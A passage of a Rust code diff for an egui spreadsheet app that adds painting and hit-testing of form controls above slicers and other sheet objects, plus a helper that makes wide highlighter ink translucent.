    paint_slicers(p, geo, wb, si, sh);
+    // Form controls sit above every other object.
+    let hover = p.ctx().input(|i| i.pointer.hover_pos()).map(|h| geo.mirror_pos(h)).filter(|h| geo.in_cells(*h));
+    for c in &sh.controls {
+        let r = anchor_rect(geo, sh, &c.anchor);
+        // A slider's value shows beside it while it is dragged.
+        if !r.expand(24.0).intersects(p.clip_rect()) {
+            continue;
+        }
+        let start = p.add(egui::Shape::Noop);
+        crate::form_controls::paint(p, r, c, geo.z, crate::form_controls::look(app, geo, c, r, hover));
+        done(start, r);
+    }
    // The selected object's frame and handles go over every object, and move with it on a
    // right-to-left sheet.
    if let Some(r) = app.selected_object.and_then(|o| object_rect(geo, sh, o))
@@ -522,13 +535,19 @@ pub fn selected_handle(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option
    crate::objects::handle_at(r, p).map(|h| (o, r, h))
 }

-/// The topmost object under `p` and its rect: slicers paint on top, so they are hit first, then
-/// charts, pictures and shapes (equations included), each from the top of its stack. Nothing is hit outside the cell
-/// area or while objects are hidden.
+/// The topmost object under `p` and its rect: form controls paint on top, so they are hit first,
+/// then slicers, charts, pictures and shapes (equations included), each from the top of its stack.
+/// Nothing is hit outside the cell area or while objects are hidden.
 pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect)> {
    if !geo.cells.contains(p) || app.session.active().is_some_and(|d| objects_hidden(&d.wb)) {
        return None;
    }
+    for c in sh.controls.iter().rev() {
+        let r = anchor_rect(geo, sh, &c.anchor);
+        if r.contains(p) {
+            return Some((ObjRef::new(ObjKind::Control, c.id), r));
+        }
+    }
    for sl in sh.slicers.iter().rev() {
        let r = anchor_rect(geo, sh, &sl.anchor);
        if r.contains(p) {
@@ -556,3 +575,9 @@ pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Re
    }
    None
 }
+
+/// The colour ink is painted in: a highlighter (a stroke over 8 pt wide) is translucent, by its
+/// width in points, so the live pen stroke and the committed ink agree at every zoom.
+pub(crate) fn ink_color(line: Color32, width_pt: f32) -> Color32 {
+    if width_pt > 8.0 { line.gamma_multiply(0.45) } else { line }
+}
--- a/Show More
+++ b/Show More